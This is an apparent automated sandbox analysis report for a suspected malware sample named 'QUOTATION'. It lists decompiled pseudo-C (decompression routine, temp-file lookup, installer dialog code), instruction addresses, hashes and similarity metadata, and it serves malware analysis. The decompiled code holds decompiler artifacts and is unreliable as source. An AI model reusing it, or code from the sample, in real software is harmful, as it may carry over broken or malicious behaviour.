								 *(__ebp - 0x44) = __ebx;
								goto L140;
							}
							__eax =  *(__ebp - 0x50);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
							__eax =  *(__ebp - 0x58);
							__esi = __edx + __eax;
							 *(__ebp - 0x54) = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								 *(__ebp - 0x50) = __edx;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L148;
							} else {
								goto L146;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								 *(__ebp - 0x2c) = __ebx;
								L119:
								_t393 = __ebp - 0x2c;
								 *_t393 =  *(__ebp - 0x2c) + 1;
								__eflags =  *_t393;
								L120:
								__eax =  *(__ebp - 0x2c);
								__eflags = __eax;
								if(__eax == 0) {
									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
									goto L170;
								}
								__eflags = __eax -  *(__ebp - 0x60);
								if(__eax >  *(__ebp - 0x60)) {
									goto L171;
								}
								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
								__eax =  *(__ebp - 0x30);
								_t400 = __ebp - 0x60;
								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
								__eflags =  *_t400;
								goto L123;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							 *(__ebp - 0x2c) = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								 *(__ebp - 0x48) = __ecx;
								L102:
								__eflags =  *(__ebp - 0x48);
								if( *(__ebp - 0x48) <= 0) {
									__eax = __eax + __ebx;
									 *(__ebp - 0x40) = 4;
									 *(__ebp - 0x2c) = __eax;
									__eax =  *(__ebp - 4);
									__eax =  *(__ebp - 4) + 0x644;
									__eflags = __eax;
									L108:
									__ebx = 0;
									 *(__ebp - 0x58) = __eax;
									 *(__ebp - 0x50) = 1;
									 *(__ebp - 0x44) = 0;
									 *(__ebp - 0x48) = 0;
									L112:
									__eax =  *(__ebp - 0x40);
									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
										_t391 = __ebp - 0x2c;
										 *_t391 =  *(__ebp - 0x2c) + __ebx;
										__eflags =  *_t391;
										goto L119;
									}
									__eax =  *(__ebp - 0x50);
									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
									__eax =  *(__ebp - 0x58);
									__esi = __edi + __eax;
									 *(__ebp - 0x54) = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
									__eflags =  *(__ebp - 0xc) - __edx;
									if( *(__ebp - 0xc) >= __edx) {
										__ecx = 0;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
										__ecx = 1;
										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
										__ebx = 1;
										__ecx =  *(__ebp - 0x48);
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx =  *(__ebp - 0x44);
										__ebx =  *(__ebp - 0x44) | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										 *(__ebp - 0x44) = __ebx;
										 *__esi = __ax;
										 *(__ebp - 0x50) = __edi;
									} else {
										 *(__ebp - 0x10) = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
										 *__esi = __dx;
									}
									__eflags =  *(__ebp - 0x10) - 0x1000000;
									if( *(__ebp - 0x10) >= 0x1000000) {
										L111:
										_t368 = __ebp - 0x48;
										 *_t368 =  *(__ebp - 0x48) + 1;
										__eflags =  *_t368;
										goto L112;
									} else {
										goto L109;
									}
								}
								__ecx =  *(__ebp - 0xc);
								__ebx = __ebx + __ebx;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
									__ecx =  *(__ebp - 0x10);
									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									 *(__ebp - 0x44) = __ebx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								if( *(__ebp - 0x10) >= 0x1000000) {
									L101:
									_t338 = __ebp - 0x48;
									 *_t338 =  *(__ebp - 0x48) - 1;
									__eflags =  *_t338;
									goto L102;
								} else {
									goto L99;
								}
							}
							__edx =  *(__ebp - 4);
							__eax = __eax - __ebx;
							 *(__ebp - 0x40) = __ecx;
							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
							goto L108;
						case 0x1a:
							goto L55;
						case 0x1b:
							L75:
							__eflags =  *(__ebp - 0x64);
							if( *(__ebp - 0x64) == 0) {
								 *(__ebp - 0x88) = 0x1b;
								goto L170;
							}
							__eax =  *(__ebp - 0x14);
							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
							__eflags = __eax -  *(__ebp - 0x74);
							if(__eax >=  *(__ebp - 0x74)) {
								__eax = __eax +  *(__ebp - 0x74);
								__eflags = __eax;
							}
							__edx =  *(__ebp - 8);
							__cl =  *(__eax + __edx);
							__eax =  *(__ebp - 0x14);
							 *(__ebp - 0x5c) = __cl;
							 *(__eax + __edx) = __cl;
							__eax = __eax + 1;
							__edx = 0;
							_t274 = __eax %  *(__ebp - 0x74);
							__eax = __eax /  *(__ebp - 0x74);
							__edx = _t274;
							__eax =  *(__ebp - 0x68);
							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
							_t283 = __ebp - 0x64;
							 *_t283 =  *(__ebp - 0x64) - 1;
							__eflags =  *_t283;
							 *( *(__ebp - 0x68)) = __cl;
							goto L79;
						case 0x1c:
							while(1) {
								L123:
								__eflags =  *(__ebp - 0x64);
								if( *(__ebp - 0x64) == 0) {
									break;
								}
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__edx =  *(__ebp - 8);
								__cl =  *(__eax + __edx);
								__eax =  *(__ebp - 0x14);
								 *(__ebp - 0x5c) = __cl;
								 *(__eax + __edx) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t414 = __eax %  *(__ebp - 0x74);
								__eax = __eax /  *(__ebp - 0x74);
								__edx = _t414;
								__eax =  *(__ebp - 0x68);
								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
								__eflags =  *(__ebp - 0x30);
								 *( *(__ebp - 0x68)) = __cl;
								 *(__ebp - 0x14) = __edx;
								if( *(__ebp - 0x30) > 0) {
									continue;
								} else {
									goto L80;
								}
							}
							 *(__ebp - 0x88) = 0x1c;
							goto L170;
					}
				}
			}

0x00000000
0x00406666
0x00406666
0x0040666b
0x004066e2
0x004066e9
0x004066f3
0x00406cd2
0x00406cd2
0x00406cd5
0x00406cd5
0x00406cdb
0x00406ce1
0x00406ce7
0x00406d01
0x00406d04
0x00406d0a
0x00406d15
0x00406d17
0x00406ce9
0x00406ce9
0x00406cf8
0x00406cfc
0x00406cfc
0x00406d21
0x00406d48
0x00406d48
0x00406d4e
0x00406d4e
0x00000000
0x00406d23
0x00406d23
0x00406d27
0x00406ed6
0x00000000
0x00406ed6
0x00406d33
0x00406d3a
0x00406d42
0x00406d45
0x00000000
0x00406d45
0x0040666d
0x0040666d
0x00406671
0x00406679
0x0040667c
0x0040667e
0x00406681
0x00406683
0x00406688
0x0040668b
0x00406692
0x00406699
0x0040669c
0x004066a7
0x004066af
0x004066af
0x004066a9
0x004066a9
0x004066a9
0x0040669e
0x0040669e
0x0040669e
0x004066b6
0x004066d4
0x004066d6
0x004068a9
0x004068a9
0x004068ac
0x004068af
0x004068b2
0x004068b5
0x004068b8
0x004068bb
0x004068be
0x004068c1
0x004068c7
0x004068df
0x004068e2
0x004068e5
0x004068e8
0x004068e8
0x004068eb
0x004068f1
0x004068c9
0x004068c9
0x004068d1
0x004068d6
0x004068d8
0x004068da
0x004068da
0x004068fb
0x004068fe
0x004068a1
0x004068a7
0x00000000
0x00000000
0x00000000
0x00406900
0x0040687c
0x00406880
0x00406e88
0x00000000
0x00406e88
0x00406886
0x00406889
0x0040688c
0x00406890
0x00406893
0x00406899
0x0040689b
0x0040689b
0x0040689e
0x00000000
0x0040689e
0x004066b8
0x004066b8
0x004066bb
0x004066c1
0x004066c3
0x004066c3
0x004066c6
0x004066c9
0x004066cb
0x004066cc
0x004066cf
0x0040673c
0x0040673c
0x00406740
0x00406743
0x00406746
0x00406749
0x0040674c
0x0040674d
0x00406750
0x00406752
0x00406758
0x0040675b
0x0040675e
0x00406761
0x00406764
0x0040676a
0x00406786
0x00406789
0x0040678c
0x0040678f
0x00406796
0x0040679c
0x004067a0
0x0040676c
0x0040676c
0x00406770
0x00406778
0x0040677d
0x0040677f
0x00406781
0x00406781
0x004067aa
0x004067ad
0x00406724
0x00406724
0x0040672a
0x004067dd
0x004067e3
0x00000000
0x00000000
0x004067e5
0x004067e8
0x004067eb
0x004067ee
0x004067f1
0x004067f4
0x004067f7
0x004067fa
0x004067fd
0x00406803
0x0040681b
0x0040681e
0x00406821
0x00406824
0x00406824
0x00406827
0x0040682d
0x00406805
0x00406805
0x0040680d
0x00406812
0x00406814
0x00406816
0x00406816
0x00406837
0x0040683a
0x004067b8
0x004067bc
0x00406e7c
0x00000000
0x00406e7c
0x004067c2
0x004067c5
0x004067c8
0x004067cc
0x004067cf
0x004067d5
0x004067d7
0x004067d7
0x004067da
0x004067da
0x0040683a
0x00406841
0x00406841
0x00406841
0x00406845
0x00406845
0x00406848
0x0040684b
0x0040684f
0x00406e94
0x00000000
0x00406e94
0x00406855
0x00406858
0x0040685b
0x0040685e
0x00406861
0x00406864
0x00406867
0x00406869
0x0040686c
0x0040686f
0x00406872
0x00406874
0x00406874
0x00406874
0x00406a11
0x00406a11
0x00406a14
0x00406a14
0x00000000
0x00406a14
0x00406736
0x00000000
0x00000000
0x00000000
0x004067b3
0x004066ff
0x00406703
0x00406e70
0x00406eec
0x00406ef4
0x00406efb
0x00406efd
0x00406f04
0x00406f08
0x00406f08
0x00406709
0x0040670c
0x0040670f
0x00406713
0x00406716
0x0040671c
0x0040671e
0x0040671e
0x00406721
0x00000000
0x00406721
0x004067ad
0x004066b6
0x004064ea
0x004064ea
0x004064f3
0x00406f01
0x00406f01
0x00000000
0x00406f01
0x004064f9
0x00000000
0x00406504
0x00000000
0x00000000
0x0040650d
0x00406510
0x00406513
0x00406517
0x00000000
0x00000000
0x0040651d
0x00406520
0x00406522
0x00406523
0x00406526
0x00406528
0x00406529
0x0040652b
0x0040652e
0x00406533
0x00406538
0x00406541
0x00406554
0x00406557
0x00406563
0x0040658b
0x0040658d
0x0040659b
0x0040659b
0x0040659f
0x00000000
0x00000000
0x00000000
0x00000000
0x0040658f
0x0040658f
0x00406592
0x00406593
0x00406593
0x00000000
0x0040658f
0x00406569
0x0040656e
0x0040656e
0x00406577
0x0040657f
0x00406582
0x00000000
0x00406588
0x00406588
0x00000000
0x00406588
0x00000000
0x004065a5
0x004065a5
0x004065a9
0x00406e55
0x00000000
0x00406e55
0x004065b2
0x004065c2
0x004065c5
0x004065c8
0x004065c8
0x004065c8
0x004065cb
0x004065cf
0x00000000
0x00000000
0x004065d1
0x004065d7
0x00406601
0x00406607
0x0040660e
0x00000000
0x0040660e
0x004065dd
0x004065e0
0x004065e5
0x004065e5
0x004065f0
0x004065f8
0x004065fb
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406640
0x00406646
0x00406649
0x00406656
0x0040665e
0x00000000
0x00000000
0x00406615
0x00406615
0x00406619
0x00406e64
0x00000000
0x00406e64
0x00406625
0x00406630
0x00406630
0x00406630
0x00406633
0x00406636
0x00406639
0x0040663e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406905
0x00406909
0x00406927
0x0040692a
0x00406931
0x00406934
0x00406937
0x0040693a
0x0040693d
0x00406940
0x00406942
0x00406949
0x0040694a
0x0040694c
0x0040694f
0x00406952
0x00406955
0x00406955
0x0040695a
0x00000000
0x0040695a
0x0040690b
0x0040690e
0x00406911
0x0040691b
0x00000000
0x00000000
0x0040696f
0x00406973
0x00406996
0x00406999
0x0040699c
0x004069a6
0x00406975
0x00406975
0x00406978
0x0040697b
0x0040697e
0x0040698b
0x0040698e
0x0040698e
0x00000000
0x00000000
0x004069b2
0x004069b6
0x00000000
0x00000000
0x004069bc
0x004069c0
0x00000000
0x00000000
0x004069c6
0x004069c8
0x004069cc
0x004069cc
0x004069cf
0x004069d3
0x00000000
0x00000000
0x00406a23
0x00406a27
0x00406a2e
0x00406a31
0x00406a34
0x00406a3e
0x00000000
0x00406a3e
0x00406a29
0x00000000
0x00000000
0x00406a4a
0x00406a4e
0x00406a55
0x00406a58
0x00406a5b
0x00406a50
0x00406a50
0x00406a50
0x00406a5e
0x00406a61
0x00406a64
0x00406a64
0x00406a67
0x00406a6a
0x00406a6d
0x00406a6d
0x00406a70
0x00406a77
0x00406a7c
0x00000000
0x00000000
0x00406b0a
0x00406b0a
0x00406b0e
0x00406eac
0x00000000
0x00406eac
0x00406b14
0x00406b17
0x00406b1a
0x00406b1e
0x00406b21
0x00406b27
0x00406b29
0x00406b29
0x00406b29
0x00406b2c
0x00406b2f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406b8d
0x00406b8d
0x00406b91
0x00406eb8
0x00000000
0x00406eb8
0x00406b97
0x00406b9a
0x00406b9d
0x00406ba1
0x00406ba4
0x00406baa
0x00406bac
0x00406bac
0x00406bac
0x00406baf
0x00000000
0x00000000
0x0040695d
0x0040695d
0x00406960
0x00000000
0x00000000
0x00406c9c
0x00406ca0
0x00406cc2
0x00406cc5
0x00406ccf
0x00000000
0x00406ccf
0x00406ca2
0x00406ca5
0x00406ca9
0x00406cac
0x00406cac
0x00406caf
0x00000000
0x00000000
0x00406d59
0x00406d5d
0x00406d7b
0x00406d7b
0x00406d7b
0x00406d82
0x00406d89
0x00406d90
0x00406d90
0x00000000
0x00406d90
0x00406d5f
0x00406d62
0x00406d65
0x00406d68
0x00406d6f
0x00406cb3
0x00406cb3
0x00406cb6
0x00000000
0x00000000
0x00406e4a
0x00406e4d
0x00000000
0x00000000
0x00406a84
0x00406a86
0x00406a8d
0x00406a8e
0x00406a90
0x00406a93
0x00000000
0x00000000
0x00406a9b
0x00406a9e
0x00406aa1
0x00406aa3
0x00406aa5
0x00406aa5
0x00406aa6
0x00406aa9
0x00406ab0
0x00406ab3
0x00406ac1
0x00000000
0x00000000
0x00406d97
0x00406d97
0x00406d9a
0x00406da1
0x00000000
0x00000000
0x00406da6
0x00406da6
0x00406daa
0x00406ee2
0x00000000
0x00406ee2
0x00406db0
0x00406db3
0x00406db6
0x00406dba
0x00406dbd
0x00406dc3
0x00406dc5
0x00406dc5
0x00406dc5
0x00406dc8
0x00406dcb
0x00406dcb
0x00406dcb
0x00406dcb
0x00406dce
0x00406dce
0x00406dd2
0x00406e32
0x00406e35
0x00406e3a
0x00406e3b
0x00406e3d
0x00406e3f
0x00406e42
0x00000000
0x00406e42
0x00406dd4
0x00406dda
0x00406ddd
0x00406de0
0x00406de3
0x00406de6
0x00406de9
0x00406dec
0x00406def
0x00406df2
0x00406df5
0x00406e0e
0x00406e11
0x00406e14
0x00406e17
0x00406e1b
0x00406e1d
0x00406e1d
0x00406e1e
0x00406e21
0x00406df7
0x00406df7
0x00406dff
0x00406e04
0x00406e06
0x00406e09
0x00406e09
0x00406e24
0x00406e2b
0x00000000
0x00406e2d
0x00000000
0x00406e2d
0x00000000
0x00406ac9
0x00406acc
0x00406b02
0x00406c32
0x00406c32
0x00406c32
0x00406c32
0x00406c35
0x00406c35
0x00406c38
0x00406c3a
0x00406ec4
0x00000000
0x00406ec4
0x00406c40
0x00406c43
0x00000000
0x00000000
0x00406c49
0x00406c4d
0x00406c50
0x00406c50
0x00406c50
0x00000000
0x00406c50
0x00406ace
0x00406ad0
0x00406ad2
0x00406ad4
0x00406ad7
0x00406ad8
0x00406ada
0x00406adc
0x00406adf
0x00406ae2
0x00406af8
0x00406afd
0x00406b35
0x00406b35
0x00406b39
0x00406b65
0x00406b67
0x00406b6e
0x00406b71
0x00406b74
0x00406b74
0x00406b79
0x00406b79
0x00406b7b
0x00406b7e
0x00406b85
0x00406b88
0x00406bb5
0x00406bb5
0x00406bb8
0x00406bbb
0x00406c2f
0x00406c2f
0x00406c2f
0x00000000
0x00406c2f
0x00406bbd
0x00406bc3
0x00406bc6
0x00406bc9
0x00406bcc
0x00406bcf
0x00406bd2
0x00406bd5
0x00406bd8
0x00406bdb
0x00406bde
0x00406bf7
0x00406bf9
0x00406bfc
0x00406bfd
0x00406c00
0x00406c02
0x00406c05
0x00406c07
0x00406c09
0x00406c0c
0x00406c0e
0x00406c11
0x00406c15
0x00406c17
0x00406c17
0x00406c18
0x00406c1b
0x00406c1e
0x00406be0
0x00406be0
0x00406be8
0x00406bed
0x00406bef
0x00406bf2
0x00406bf2
0x00406c21
0x00406c28
0x00406bb2
0x00406bb2
0x00406bb2
0x00406bb2
0x00000000
0x00406c2a
0x00000000
0x00406c2a
0x00406c28
0x00406b3b
0x00406b3e
0x00406b40
0x00406b43
0x00406b46
0x00406b49
0x00406b4b
0x00406b4e
0x00406b51
0x00406b51
0x00406b54
0x00406b54
0x00406b57
0x00406b5e
0x00406b32
0x00406b32
0x00406b32
0x00406b32
0x00000000
0x00406b60
0x00000000
0x00406b60
0x00406b5e
0x00406ae4
0x00406ae7
0x00406ae9
0x00406aec
0x00000000
0x00000000
0x00000000
0x00000000
0x004069d6
0x004069d6
0x004069da
0x00406ea0
0x00000000
0x00406ea0
0x004069e0
0x004069e3
0x004069e6
0x004069e9
0x004069eb
0x004069eb
0x004069eb
0x004069ee
0x004069f1
0x004069f4
0x004069f7
0x004069fa
0x004069fd
0x004069fe
0x00406a00
0x00406a00
0x00406a00
0x00406a03
0x00406a06
0x00406a09
0x00406a0c
0x00406a0c
0x00406a0c
0x00406a0f
0x00000000
0x00000000
0x00406c53
0x00406c53
0x00406c53
0x00406c57
0x00000000
0x00000000
0x00406c5d
0x00406c60
0x00406c63
0x00406c66
0x00406c68
0x00406c68
0x00406c68
0x00406c6b
0x00406c6e
0x00406c71
0x00406c74
0x00406c77
0x00406c7a
0x00406c7b
0x00406c7d
0x00406c7d
0x00406c7d
0x00406c80
0x00406c83
0x00406c86
0x00406c89
0x00406c8c
0x00406c90
0x00406c92
0x00406c95
0x00000000
0x00406c97
0x00000000
0x00406c97
0x00406c95
0x00406eca
0x00000000
0x00000000
0x004064f9

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b42b921e85d89c0e117f5f9f4e0d0c16e752254418a7148ec341c06b29f841c9
Instruction ID: 4f714145f5a313d6319dbd2ae6a602097e3dd159542c3e152d0bb7460fb66c8d
Opcode Fuzzy Hash: b42b921e85d89c0e117f5f9f4e0d0c16e752254418a7148ec341c06b29f841c9
Instruction Fuzzy Hash: 25F17571D00229CBDF28CFA8C8946ADBBB0FF44305F25856ED856BB281D7395A96CF44

Uniqueness

Uniqueness Score: -1.00%

Function 004062DD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004062DD(CHAR* _a4) {
				void* _t2;

				_t2 = FindFirstFileA(_a4, 0x421558); // executed
				if(_t2 == 0xffffffff) {
					return 0;
				}
				FindClose(_t2);
				return 0x421558;
			}

0x004062e8
0x004062f1
0x00000000
0x004062fe
0x004062f4
0x00000000

APIs

FindFirstFileA.KERNELBASE(76B43410,00421558,C:\Users\user\AppData\Local\Temp\nsg9F21.tmp,00405AA3,C:\Users\user\AppData\Local\Temp\nsg9F21.tmp,C:\Users\user\AppData\Local\Temp\nsg9F21.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsg9F21.tmp,C:\Users\user\AppData\Local\Temp\nsg9F21.tmp,76B43410,?,C:\Users\user\AppData\Local\Temp\,004057C2,?,76B43410,C:\Users\user\AppData\Local\Temp\), ref: 004062E8
FindClose.KERNEL32(00000000), ref: 004062F4

Strings

C:\Users\user\AppData\Local\Temp\nsg9F21.tmp, xrefs: 004062DD

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: C:\Users\user\AppData\Local\Temp\nsg9F21.tmp
API String ID: 2295610775-711518007
Opcode ID: 78efce08eb58f860d58d9cc4337d862744689776f4b13788d4bc070c197dd51e
Instruction ID: 9f0851c2fc9ceccd35e24d87c19841e9ead441a619ffea6187f1505ec1ede2b7
Opcode Fuzzy Hash: 78efce08eb58f860d58d9cc4337d862744689776f4b13788d4bc070c197dd51e
Instruction Fuzzy Hash: B1D012319090207BC30117386E0C85B7A599B553317228A77F967F12F0C7388C7696E9

Uniqueness

Uniqueness Score: -1.00%

Function 00403B94 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E00403B94(struct HWND__* _a4, signed int _a8, int _a12, long _a16) {
				struct HWND__* _v32;
				void* _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t35;
				signed int _t37;
				signed int _t39;
				struct HWND__* _t49;
				signed int _t68;
				struct HWND__* _t74;
				signed int _t87;
				struct HWND__* _t92;
				signed int _t100;
				int _t104;
				signed int _t116;
				signed int _t117;
				int _t118;
				signed int _t123;
				struct HWND__* _t126;
				struct HWND__* _t127;
				int _t128;
				long _t131;
				int _t133;
				int _t134;
				void* _t135;
				void* _t143;

				_t116 = _a8;
				if(_t116 == 0x110 || _t116 == 0x408) {
					_t35 = _a12;
					_t126 = _a4;
					__eflags = _t116 - 0x110;
					 *0x41fcf0 = _t35;
					if(_t116 == 0x110) {
						 *0x423708 = _t126;
						 *0x41fd04 = GetDlgItem(_t126, 1);
						_t92 = GetDlgItem(_t126, 2);
						_push(0xffffffff);
						_push("true");
						 *0x41ecd0 = _t92;
						E00404068(_t126);
						SetClassLongA(_t126, 0xfffffff2,  *0x422ee8);
						 *0x422ecc = E0040140B(4);
						_t35 = 1;
						__eflags = 1;
						 *0x41fcf0 = 1;
					}
					_t123 =  *0x4091dc; // 0x0
					_t134 = 0;
					_t131 = (_t123 << 6) +  *0x423740;
					__eflags = _t123;
					if(_t123 < 0) {
						L34:
						E004040B4(0x40b);
						while(1) {
							_t37 =  *0x41fcf0; // 0x1
							 *0x4091dc =  *0x4091dc + _t37;
							_t131 = _t131 + (_t37 << 6);
							_t39 =  *0x4091dc; // 0x0
							__eflags = _t39 -  *0x423744;
							if(_t39 ==  *0x423744) {
								E0040140B(1);
							}
							__eflags =  *0x422ecc - _t134; // 0x0
							if(__eflags != 0) {
								break;
							}
							__eflags =  *0x4091dc -  *0x423744; // 0x0
							if(__eflags >= 0) {
								break;
							}
							_t117 =  *(_t131 + 0x14);
							E00405FFC(_t117, _t126, _t131, 0x42b800,  *((intOrPtr*)(_t131 + 0x24)));
							_push( *((intOrPtr*)(_t131 + 0x20)));
							_push(0xfffffc19);
							E00404068(_t126);
							_push( *((intOrPtr*)(_t131 + 0x1c)));
							_push(0xfffffc1b);
							E00404068(_t126);
							_push( *((intOrPtr*)(_t131 + 0x28)));
							_push(0xfffffc1a);
							E00404068(_t126);
							_t49 = GetDlgItem(_t126, 3);
							__eflags =  *0x4237ac - _t134;
							_v32 = _t49;
							if( *0x4237ac != _t134) {
								_t117 = _t117 & 0x0000fefd | 0x00000004;
								__eflags = _t117;
							}
							ShowWindow(_t49, _t117 & 0x00000008); // executed
							EnableWindow( *(_t135 + 0x30), _t117 & 0x00000100); // executed
							E0040408A(_t117 & 0x00000002);
							_t118 = _t117 & 0x00000004;
							EnableWindow( *0x41ecd0, _t118);
							__eflags = _t118 - _t134;
							if(_t118 == _t134) {
								_push(1);
							} else {
								_push(_t134);
							}
							EnableMenuItem(GetSystemMenu(_t126, _t134), 0xf060, ??);
							SendMessageA( *(_t135 + 0x38), 0xf4, _t134, 1);
							__eflags =  *0x4237ac - _t134;
							if( *0x4237ac == _t134) {
								_push( *0x41fd04);
							} else {
								SendMessageA(_t126, 0x401, 2, _t134);
								_push( *0x41ecd0);
							}
							E0040409D();
							E00405FDA(0x41fd08, E00403B75());
							E00405FFC(0x41fd08, _t126, _t131,  &(0x41fd08[lstrlenA(0x41fd08)]),  *((intOrPtr*)(_t131 + 0x18)));
							SetWindowTextA(_t126, 0x41fd08); // executed
							_push(_t134);
							_t68 = E00401389( *((intOrPtr*)(_t131 + 8)));
							__eflags = _t68;
							if(_t68 != 0) {
								continue;
							} else {
								__eflags =  *_t131 - _t134;
								if( *_t131 == _t134) {
									continue;
								}
								__eflags =  *(_t131 + 4) - 5;
								if( *(_t131 + 4) != 5) {
									DestroyWindow( *0x422ed8); // executed
									 *0x41f4e0 = _t131;
									__eflags =  *_t131 - _t134;
									if( *_t131 <= _t134) {
										goto L58;
									}
									_t74 = CreateDialogParamA( *0x423700,  *_t131 +  *0x422ee0 & 0x0000ffff, _t126,  *(0x4091e0 +  *(_t131 + 4) * 4), _t131); // executed
									__eflags = _t74 - _t134;
									 *0x422ed8 = _t74;
									if(_t74 == _t134) {
										goto L58;
									}
									_push( *((intOrPtr*)(_t131 + 0x2c)));
									_push(6);
									E00404068(_t74);
									GetWindowRect(GetDlgItem(_t126, 0x3fa), _t135 + 0x10);
									ScreenToClient(_t126, _t135 + 0x10);
									SetWindowPos( *0x422ed8, _t134,  *(_t135 + 0x20),  *(_t135 + 0x20), _t134, _t134, 0x15);
									_push(_t134);
									E00401389( *((intOrPtr*)(_t131 + 0xc)));
									__eflags =  *0x422ecc - _t134; // 0x0
